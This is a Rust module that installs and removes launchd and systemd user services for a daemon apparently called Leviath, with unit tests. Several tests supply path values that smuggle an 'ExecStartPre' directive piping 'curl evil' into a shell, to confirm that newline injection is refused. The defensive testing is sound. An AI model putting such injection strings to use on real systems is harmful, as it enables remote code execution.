1use std::path::{Path, PathBuf};
18
19use anyhow::{Context, Result};
20
21pub const SERVICE_LABEL: &str = "dev.leviath.daemon";
23
24#[cfg(target_os = "macos")]
29pub const LEGACY_SERVICE_LABELS: &[&str] = &["ai.sunforge.leviath"];
30
31pub type SupervisorCommand = (String, Vec<String>);
38
39#[cfg(target_os = "macos")]
43pub fn legacy_cleanup(config_home: &Path, uid: u32) -> Vec<(PathBuf, SupervisorCommand)> {
44 LEGACY_SERVICE_LABELS
45 .iter()
46 .map(|label| {
47 (
48 config_home.join(format!("{label}.plist")),
49 (
50 "launchctl".to_string(),
51 vec!["bootout".to_string(), format!("gui/{uid}/{label}")],
52 ),
53 )
54 })
55 .collect()
56}
57
58#[cfg(any(target_os = "macos", target_os = "linux"))]
61const LOG_FILE: &str = "daemon.log";
62
63#[derive(Debug, Clone, PartialEq, Eq)]
65pub struct ServiceUnit {
66 pub path: PathBuf,
68 pub contents: String,
70 pub activate: SupervisorCommand,
72 pub deactivate: SupervisorCommand,
74}
75
76#[cfg(target_os = "macos")]
86pub fn service_unit(exe: &Path, home: &Path, config_home: &Path, uid: u32) -> Result<ServiceUnit> {
87 let path = config_home.join(format!("{SERVICE_LABEL}.plist"));
88 Ok(ServiceUnit {
89 contents: launchd_plist(exe, home, &home.join(LOG_FILE)),
90 activate: (
91 "launchctl".to_string(),
92 vec![
93 "bootstrap".to_string(),
94 format!("gui/{uid}"),
95 display(&path),
96 ],
97 ),
98 deactivate: (
99 "launchctl".to_string(),
100 vec!["bootout".to_string(), format!("gui/{uid}/{SERVICE_LABEL}")],
101 ),
102 path,
103 })
104}
105
106#[cfg(target_os = "macos")]
108pub fn config_home(user_home: &Path) -> Result<PathBuf> {
109 Ok(user_home.join("Library").join("LaunchAgents"))
110}
111
112#[cfg(target_os = "macos")]
115fn launchd_plist(exe: &Path, home: &Path, log: &Path) -> String {
116 format!(
117 r#"<?xml version="1.0" encoding="UTF-8"?>
118<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
119<plist version="1.0">
120<dict>
121 <key>Label</key>
122 <string>{label}</string>
123 <key>ProgramArguments</key>
124 <array>
125 <string>{exe}</string>
126 <string>daemon</string>
127 </array>
128 <key>EnvironmentVariables</key>
129 <dict>
130 <key>LEVIATH_HOME</key>
131 <string>{home}</string>
132 </dict>
133 <key>RunAtLoad</key>
134 <true/>
135 <key>KeepAlive</key>
136 <true/>
137 <key>ThrottleInterval</key>
138 <integer>10</integer>
139 <key>StandardOutPath</key>
140 <string>{log}</string>
141 <key>StandardErrorPath</key>
142 <string>{log}</string>
143</dict>
144</plist>
145"#,
146 label = SERVICE_LABEL,
147 exe = xml_escape(&display(exe)),
148 home = xml_escape(&display(home)),
149 log = xml_escape(&display(log)),
150 )
151}
152
153#[cfg(target_os = "macos")]
155fn xml_escape(s: &str) -> String {
156 let mut out = String::with_capacity(s.len());
157 for c in s.chars() {
158 match c {
159 '&' => out.push_str("&"),
160 '<' => out.push_str("<"),
161 '>' => out.push_str(">"),
162 '"' => out.push_str("""),
163 '\'' => out.push_str("'"),
164 _ => out.push(c),
165 }
166 }
167 out
168}
169
170#[cfg(target_os = "linux")]
176pub fn service_unit(exe: &Path, home: &Path, config_home: &Path, _uid: u32) -> Result<ServiceUnit> {
177 Ok(ServiceUnit {
178 path: config_home.join("leviath.service"),
179 contents: systemd_unit(exe, home, &home.join(LOG_FILE))?,
180 activate: (
181 "systemctl".to_string(),
182 vec![
183 "--user".to_string(),
184 "enable".to_string(),
185 "--now".to_string(),
186 "leviath.service".to_string(),
187 ],
188 ),
189 deactivate: (
190 "systemctl".to_string(),
191 vec![
192 "--user".to_string(),
193 "disable".to_string(),
194 "--now".to_string(),
195 "leviath.service".to_string(),
196 ],
197 ),
198 })
199}
200
201#[cfg(target_os = "linux")]
203pub fn config_home(user_home: &Path) -> Result<PathBuf> {
204 Ok(user_home.join(".config").join("systemd").join("user"))
205}
206
207pub fn unit_safe(label: &str, value: &Path) -> Result<String> {
229 let s = display(value);
230 if s.contains('\n') || s.contains('\r') {
231 anyhow::bail!(
232 "refusing to write a systemd unit: the {label} path contains a newline, \
233 which would inject additional unit directives"
234 );
235 }
236 Ok(s)
237}
238
239pub fn systemd_unit(exe: &Path, home: &Path, log: &Path) -> Result<String> {
244 let exe = unit_safe("executable", exe)?;
245 let home = unit_safe("LEVIATH_HOME", home)?;
246 let log = unit_safe("log", log)?;
247 Ok(format!(
248 "[Unit]\n\
249 Description=Leviath shared-world agent daemon\n\
250 After=network-online.target\n\
251 \n\
252 [Service]\n\
253 Type=simple\n\
254 ExecStart={exe} daemon\n\
255 Environment=LEVIATH_HOME={home}\n\
256 Restart=always\n\
257 RestartSec=10\n\
258 StandardOutput=append:{log}\n\
259 StandardError=append:{log}\n\
260 \n\
261 [Install]\n\
262 WantedBy=default.target\n",
263 ))
264}
265
266#[cfg(not(any(target_os = "macos", target_os = "linux")))]
270const UNSUPPORTED: &str = "`lev daemon install` supports macOS (launchd) and Linux (systemd user \
271 units); on this platform, start `lev daemon` from your own login script";
272
273#[cfg(not(any(target_os = "macos", target_os = "linux")))]
275pub fn service_unit(
276 _exe: &Path,
277 _home: &Path,
278 _config_home: &Path,
279 _uid: u32,
280) -> Result<ServiceUnit> {
281 anyhow::bail!(UNSUPPORTED)
282}
283
284#[cfg(not(any(target_os = "macos", target_os = "linux")))]
286pub fn config_home(_user_home: &Path) -> Result<PathBuf> {
287 anyhow::bail!(UNSUPPORTED)
288}
289
290pub fn install(unit: &ServiceUnit) -> Result<&Path> {
294 if let Some(parent) = unit.path.parent() {
295 std::fs::create_dir_all(parent)
296 .with_context(|| format!("creating {}", parent.display()))?;
297 }
298 std::fs::write(&unit.path, &unit.contents)
299 .with_context(|| format!("writing {}", unit.path.display()))?;
300 Ok(&unit.path)
301}
302
303pub fn uninstall(unit: &ServiceUnit) -> Result<bool> {
305 match std::fs::remove_file(&unit.path) {
306 Ok(()) => Ok(true),
307 Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(false),
308 Err(e) => Err(e).with_context(|| format!("removing {}", unit.path.display())),
309 }
310}
311
312pub fn supervisor_failure(cmd: &SupervisorCommand, stderr: &[u8]) -> anyhow::Error {
318 anyhow::anyhow!(
319 "`{} {}` failed: {}",
320 cmd.0,
321 cmd.1.join(" "),
322 String::from_utf8_lossy(stderr).trim()
323 )
324}
325
326#[cfg(target_os = "macos")]
335pub fn remove_legacy_with(
336 user_home: Option<PathBuf>,
337 uid: u32,
338 run: &mut dyn FnMut(&SupervisorCommand),
339 remove: &mut dyn FnMut(&Path) -> bool,
340) -> Vec<PathBuf> {
341 let Some(user_home) = user_home else {
342 return Vec::new();
343 };
344 let config_home = config_home(&user_home)
347 .expect("infallible: the macOS config_home only joins onto the home path");
348 let mut removed = Vec::new();
349 for (path, bootout) in legacy_cleanup(&config_home, uid) {
350 run(&bootout);
351 if remove(&path) {
352 removed.push(path);
353 }
354 }
355 removed
356}
357
358pub fn install_with(
376 unit: &ServiceUnit,
377 run: &mut dyn FnMut(&SupervisorCommand) -> Result<()>,
378 remove_legacy: &mut dyn FnMut() -> Vec<PathBuf>,
379) -> Result<Vec<String>> {
380 let path = install(unit)?;
381 let mut lines = vec![format!("wrote {}", path.display())];
382 let _ = run(&unit.deactivate);
383 lines.extend(
384 remove_legacy()
385 .iter()
386 .map(|p| format!("removed legacy service file {}", p.display())),
387 );
388 run(&unit.activate)?;
389 lines.push("the leviath daemon is now supervised and will restart automatically".to_string());
390 Ok(lines)
391}
392
393pub fn uninstall_with(
400 unit: &ServiceUnit,
401 run: &mut dyn FnMut(&SupervisorCommand) -> Result<()>,
402 remove_legacy: &mut dyn FnMut() -> Vec<PathBuf>,
403) -> Result<Vec<String>> {
404 let _ = run(&unit.deactivate);
405 let mut lines: Vec<String> = remove_legacy()
406 .iter()
407 .map(|p| format!("removed legacy service file {}", p.display()))
408 .collect();
409 lines.push(match uninstall(unit)? {
410 true => format!("removed {}", unit.path.display()),
411 false => "no leviath service was installed".to_string(),
412 });
413 Ok(lines)
414}
415
416pub fn format_supervision(installed: bool, path: &Path) -> String {
418 if installed {
419 format!("supervised: yes ({})", path.display())
420 } else {
421 "supervised: no (`lev daemon install` restarts it automatically)".to_string()
422 }
423}
424
425fn display(path: &Path) -> String {
433 path.to_string_lossy().into_owned()
434}
435
436#[cfg(test)]
437mod tests {
438 use super::*;
439
440 #[test]
443 fn supervisor_failure_names_the_command_and_its_stderr() {
444 let err = supervisor_failure(
445 &(
446 "launchctl".to_string(),
447 vec!["bootstrap".to_string(), "gui/501".to_string()],
448 ),
449 b" Load failed: 5: Input/output error\n",
450 )
451 .to_string();
452 assert!(err.contains("`launchctl bootstrap gui/501`"), "{err}");
454 assert!(err.contains("Load failed: 5: Input/output error"), "{err}");
456 assert!(!err.contains('\n'), "stderr should be trimmed: {err}");
457 }
458
459 #[test]
460 fn supervisor_failure_survives_non_utf8_stderr() {
461 let err = supervisor_failure(&("x".to_string(), vec![]), &[0xff, 0xfe]).to_string();
462 assert!(err.contains("`x `"), "{err}");
463 }
464
465 #[cfg(target_os = "macos")]
471 #[test]
472 fn remove_legacy_with_no_home_directory_does_nothing() {
473 let calls = std::cell::Cell::new(0);
474 let mut run = |_: &SupervisorCommand| calls.set(calls.get() + 1);
475 let mut remove = |_: &Path| {
476 calls.set(calls.get() + 1);
477 false
478 };
479
480 assert!(remove_legacy_with(None, 501, &mut run, &mut remove).is_empty());
481 assert_eq!(calls.get(), 0, "no home means no supervisor and no unlink");
482
483 assert!(
486 remove_legacy_with(Some(PathBuf::from("/u")), 501, &mut run, &mut remove).is_empty()
487 );
488 assert!(calls.get() > 0, "the injected effects were never reached");
489 }
490
491 #[cfg(target_os = "macos")]
492 #[test]
493 fn remove_legacy_with_deregisters_before_deleting() {
494 let events: std::cell::RefCell<Vec<String>> = std::cell::RefCell::new(Vec::new());
497 let removed = remove_legacy_with(
498 Some(PathBuf::from("/u")),
499 501,
500 &mut |cmd| {
501 events
502 .borrow_mut()
503 .push(format!("run {} {}", cmd.0, cmd.1.join(" ")));
504 },
505 &mut |path| {
506 events
507 .borrow_mut()
508 .push(format!("remove {}", path.display()));
509 true
510 },
511 );
512 let events = events.into_inner();
513 assert_eq!(removed.len(), LEGACY_SERVICE_LABELS.len());
514 assert!(events[0].starts_with("run launchctl bootout"), "{events:?}");
515 assert!(events[1].starts_with("remove "), "{events:?}");
516 }
517
518 fn bare_unit(path: PathBuf) -> ServiceUnit {
521 ServiceUnit {
522 path,
523 contents: "unit body\n".to_string(),
524 activate: ("sup".to_string(), vec!["on".to_string()]),
525 deactivate: ("sup".to_string(), vec!["off".to_string()]),
526 }
527 }
528
529 type SupervisorLog = std::rc::Rc<std::cell::RefCell<Vec<String>>>;
532
533 fn recording() -> (SupervisorLog, impl FnMut(&SupervisorCommand) -> Result<()>) {
534 let log: SupervisorLog = Default::default();
535 let sink = log.clone();
536 (log, move |cmd: &SupervisorCommand| {
537 sink.borrow_mut().push(cmd.1.join(" "));
538 Ok(())
539 })
540 }
541
542 #[test]
546 fn install_deactivates_and_cleans_before_it_activates() {
547 let dir = tempfile::tempdir().unwrap();
548 let unit = bare_unit(dir.path().join("leviath.unit"));
549 let (log, mut run) = recording();
550 let legacy = dir.path().join("old.plist");
551 let mut remove_legacy = || vec![legacy.clone()];
552
553 let lines = install_with(&unit, &mut run, &mut remove_legacy).unwrap();
554 assert_eq!(
555 *log.borrow(),
556 ["off", "on"],
557 "activated before deactivating"
558 );
559 assert!(lines[0].starts_with("wrote "), "{lines:?}");
560 assert!(lines[1].contains("legacy service file"), "{lines:?}");
561 assert!(lines[2].contains("supervised"), "{lines:?}");
562 assert!(unit.path.exists());
563 }
564
565 #[test]
568 fn install_reports_a_failed_activation() {
569 let dir = tempfile::tempdir().unwrap();
570 let unit = bare_unit(dir.path().join("leviath.unit"));
571 let mut run = |cmd: &SupervisorCommand| match cmd.1[0].as_str() {
572 "on" => Err(anyhow::anyhow!("supervisor said no")),
573 _ => Ok(()),
574 };
575 let err = install_with(&unit, &mut run, &mut Vec::new)
576 .expect_err("a failed activation propagates");
577 assert!(err.to_string().contains("supervisor said no"), "{err}");
578 }
579
580 #[test]
584 fn uninstall_ignores_a_failed_deregistration() {
585 let dir = tempfile::tempdir().unwrap();
586 let unit = bare_unit(dir.path().join("leviath.unit"));
587 install(&unit).unwrap();
588 let mut run = |_: &SupervisorCommand| Err(anyhow::anyhow!("nothing registered"));
589
590 let lines = uninstall_with(&unit, &mut run, &mut Vec::new).unwrap();
591 assert_eq!(lines, [format!("removed {}", unit.path.display())]);
592 assert!(!unit.path.exists());
593 }
594
595 #[test]
599 fn install_stops_when_the_unit_cannot_be_written() {
600 let dir = tempfile::tempdir().unwrap();
601 let blocker = dir.path().join("blocked");
604 std::fs::write(&blocker, "not a directory").unwrap();
605 let unit = bare_unit(blocker.join("nested").join("leviath.unit"));
606 let (log, mut run) = recording();
607
608 assert!(install_with(&unit, &mut run, &mut Vec::new).is_err());
609 assert!(
610 log.borrow().is_empty(),
611 "the supervisor was called for a unit that was never written"
612 );
613 }
614
615 #[test]
619 fn uninstall_propagates_a_removal_it_could_not_do() {
620 let dir = tempfile::tempdir().unwrap();
621 let unit = bare_unit(dir.path().join("leviath.unit"));
624 std::fs::create_dir(&unit.path).unwrap();
625 let (_log, mut run) = recording();
626
627 assert!(uninstall_with(&unit, &mut run, &mut Vec::new).is_err());
628 }
629
630 #[test]
633 fn uninstall_reports_legacy_files_it_removed() {
634 let dir = tempfile::tempdir().unwrap();
635 let unit = bare_unit(dir.path().join("leviath.unit"));
636 install(&unit).unwrap();
637 let legacy = dir.path().join("old.plist");
638 let mut remove_legacy = || vec![legacy.clone()];
639 let (_log, mut run) = recording();
640
641 let lines = uninstall_with(&unit, &mut run, &mut remove_legacy).unwrap();
642 assert!(lines[0].contains("legacy service file"), "{lines:?}");
643 assert!(lines[1].starts_with("removed "), "{lines:?}");
644 }
645
646 #[test]
649 fn uninstall_says_when_there_was_nothing_installed() {
650 let dir = tempfile::tempdir().unwrap();
651 let unit = bare_unit(dir.path().join("absent.unit"));
652 let (log, mut run) = recording();
653
654 let lines = uninstall_with(&unit, &mut run, &mut Vec::new).unwrap();
655 assert_eq!(lines, ["no leviath service was installed"]);
656 assert_eq!(*log.borrow(), ["off"]);
657 }
658
659 #[test]
660 fn install_writes_then_uninstall_removes_exactly_once() {
661 let dir = tempfile::tempdir().unwrap();
662 let unit = bare_unit(dir.path().join("nested").join("leviath.unit"));
663
664 let written = install(&unit).unwrap().to_path_buf();
665 assert_eq!(std::fs::read_to_string(&written).unwrap(), unit.contents);
666 assert!(uninstall(&unit).unwrap(), "first removal reports a removal");
667 assert!(
668 !uninstall(&unit).unwrap(),
669 "second is a no-op, not an error"
670 );
671 }
672
673 #[test]
674 fn install_and_uninstall_surface_io_errors() {
675 let dir = tempfile::tempdir().unwrap();
676 let blocker = dir.path().join("blocker");
678 std::fs::write(&blocker, "x").unwrap();
679 assert!(install(&bare_unit(blocker.join("child").join("unit"))).is_err());
680
681 let occupied = dir.path().join("occupied");
684 std::fs::create_dir(&occupied).unwrap();
685 assert!(install(&bare_unit(occupied.clone())).is_err());
686
687 assert!(uninstall(&bare_unit(occupied)).is_err());
690
691 assert!(install(&bare_unit(PathBuf::new())).is_err());
694 }
695
696 #[test]
697 fn supervision_status_reads_both_ways() {
698 let path = Path::new("/home/u/unit");
699 assert!(format_supervision(true, path).contains("yes"));
700 assert!(format_supervision(true, path).contains("/home/u/unit"));
701 assert!(format_supervision(false, path).contains("no"));
702 }
703
704 #[cfg(any(target_os = "macos", target_os = "linux"))]
707 mod supported {
708 use super::*;
709
710 fn unit() -> ServiceUnit {
711 service_unit(
712 Path::new("/usr/local/bin/lev"),
713 Path::new("/home/u/.leviath"),
714 Path::new("/tmp/lev-units"),
715 501,
716 )
717 .expect("this platform has a supervisor")
718 }
719
720 #[test]
721 fn the_unit_restarts_the_daemon_and_points_it_at_the_leviath_home() {
722 let u = unit();
723 assert!(u.contents.contains("/usr/local/bin/lev"));
724 assert!(u.contents.contains("/home/u/.leviath"));
725 assert!(u.contents.contains(LOG_FILE));
726 assert_eq!(u.activate.0, u.deactivate.0);
728 assert!(!u.activate.1.is_empty() && !u.deactivate.1.is_empty());
729 assert!(u.path.starts_with("/tmp/lev-units"));
730 let home = config_home(Path::new("/home/u")).expect("this platform has a supervisor");
732 assert!(home.starts_with("/home/u"));
733 }
734 }
735
736 #[cfg(target_os = "macos")]
737 mod macos {
738 use super::*;
739
740 #[test]
741 fn paths_with_xml_metacharacters_are_escaped() {
742 assert_eq!(
743 xml_escape("a&b<c>d\"e'f"),
744 "a&b<c>d"e'f"
745 );
746 assert_eq!(xml_escape("plain/path"), "plain/path");
747 }
748
749 #[test]
750 fn it_is_a_launchd_plist_bootstrapped_into_the_gui_domain() {
751 let u = service_unit(
752 Path::new("/usr/local/bin/lev"),
753 Path::new("/home/u/.leviath"),
754 Path::new("/tmp/lev-units"),
755 501,
756 )
757 .unwrap();
758 assert_eq!(
759 u.path.file_name().unwrap().to_string_lossy(),
760 format!("{SERVICE_LABEL}.plist")
761 );
762 assert_eq!(u.activate.1[0], "bootstrap");
763 assert_eq!(u.activate.1[1], "gui/501");
764 assert_eq!(u.deactivate.1[1], format!("gui/501/{SERVICE_LABEL}"));
765 assert!(u.contents.contains("<key>KeepAlive</key>"));
767 assert!(u.contents.contains("<key>RunAtLoad</key>"));
768 assert!(
769 config_home(Path::new("/home/u"))
770 .unwrap()
771 .ends_with("LaunchAgents")
772 );
773 }
774
775 #[test]
776 fn legacy_cleanup_covers_every_old_label_with_a_bootout_and_a_plist() {
777 let actions = legacy_cleanup(Path::new("/tmp/lev-units"), 501);
778 assert_eq!(actions.len(), LEGACY_SERVICE_LABELS.len());
779 let (path, (cmd, args)) = &actions[0];
780 assert_eq!(
781 path.file_name().unwrap().to_string_lossy(),
782 "ai.sunforge.leviath.plist"
783 );
784 assert_eq!(cmd, "launchctl");
785 assert_eq!(args[0], "bootout");
786 assert_eq!(args[1], "gui/501/ai.sunforge.leviath");
787 assert!(!LEGACY_SERVICE_LABELS.contains(&SERVICE_LABEL));
790 }
791 }
792
793 #[cfg(target_os = "linux")]
794 mod linux {
795 use super::*;
796
797 #[test]
798 fn it_is_a_systemd_user_unit_enabled_for_the_calling_user() {
799 let u = service_unit(
800 Path::new("/usr/local/bin/lev"),
801 Path::new("/home/u/.leviath"),
802 Path::new("/tmp/lev-units"),
803 501,
804 )
805 .unwrap();
806 assert_eq!(u.path.file_name().unwrap(), "leviath.service");
807 assert_eq!(
808 u.activate.1,
809 ["--user", "enable", "--now", "leviath.service"]
810 );
811 assert_eq!(
812 u.deactivate.1,
813 ["--user", "disable", "--now", "leviath.service"]
814 );
815 assert!(u.contents.contains("Restart=always"));
817 assert!(u.contents.contains("WantedBy=default.target"));
818 assert!(config_home(Path::new("/home/u")).unwrap().ends_with("user"));
819 }
820
821 #[test]
829 fn a_newline_in_leviath_home_is_refused_at_the_call_site() {
830 let err = service_unit(
831 Path::new("/usr/local/bin/lev"),
832 Path::new("/tmp/x\nExecStartPre=/bin/sh -c 'curl evil | sh'"),
833 Path::new("/tmp/lev-units"),
834 501,
835 )
836 .expect_err("a newline in the home path must not reach the unit file");
837 assert!(err.to_string().contains("LEVIATH_HOME"), "{err}");
838 }
839 }
840
841 mod systemd_unit_file {
844 use super::*;
845
846 #[test]
847 fn display_renders_a_path_losslessly_when_it_can() {
848 assert_eq!(display(Path::new("/a/b")), "/a/b");
849 }
850
851 #[test]
852 fn it_renders_the_expected_directives() {
853 let unit = systemd_unit(
854 Path::new("/usr/local/bin/lev"),
855 Path::new("/home/u/.leviath"),
856 Path::new("/home/u/.leviath/daemon.log"),
857 )
858 .unwrap();
859 assert!(unit.contains("ExecStart=/usr/local/bin/lev daemon"));
860 assert!(unit.contains("Environment=LEVIATH_HOME=/home/u/.leviath"));
861 assert!(unit.contains("Restart=always"));
862 }
863
864 #[test]
871 fn a_newline_in_an_interpolated_path_is_refused() {
872 let evil = Path::new("/home/u/.leviath\nExecStartPre=/bin/sh -c 'curl evil | sh'");
873 let err = systemd_unit(
874 Path::new("/usr/local/bin/lev"),
875 evil,
876 Path::new("/home/u/.leviath/daemon.log"),
877 )
878 .expect_err("a newline in LEVIATH_HOME must be refused");
879 assert!(err.to_string().contains("newline"), "got: {err}");
880 assert!(err.to_string().contains("LEVIATH_HOME"), "got: {err}");
881 }
882
883 #[test]
885 fn every_interpolated_path_is_checked() {
886 let evil = Path::new("/x\nExecStartPre=/bin/false");
887 let good = Path::new("/home/u/.leviath");
888 assert!(systemd_unit(evil, good, good).is_err(), "executable");
889 assert!(systemd_unit(good, evil, good).is_err(), "home");
890 assert!(systemd_unit(good, good, evil).is_err(), "log");
891 }
892
893 #[test]
895 fn a_carriage_return_is_refused_too() {
896 assert!(
897 systemd_unit(
898 Path::new("/usr/local/bin/lev"),
899 Path::new("/home/u/.leviath\rExecStartPre=/bin/false"),
900 Path::new("/home/u/.leviath/daemon.log"),
901 )
902 .is_err()
903 );
904 }
905 }
906
907 #[cfg(not(any(target_os = "macos", target_os = "linux")))]
910 mod unsupported {
911 use super::*;
912
913 #[test]
914 fn install_is_refused_with_an_actionable_message() {
915 let err = service_unit(
916 Path::new("lev.exe"),
917 Path::new("home"),
918 Path::new("units"),
919 0,
920 )
921 .unwrap_err()
922 .to_string();
923 assert!(err.contains("macOS"), "got: {err}");
924 assert!(err.contains("lev daemon"), "got: {err}");
925 assert!(config_home(Path::new("home")).is_err());
926 }
927 }
928}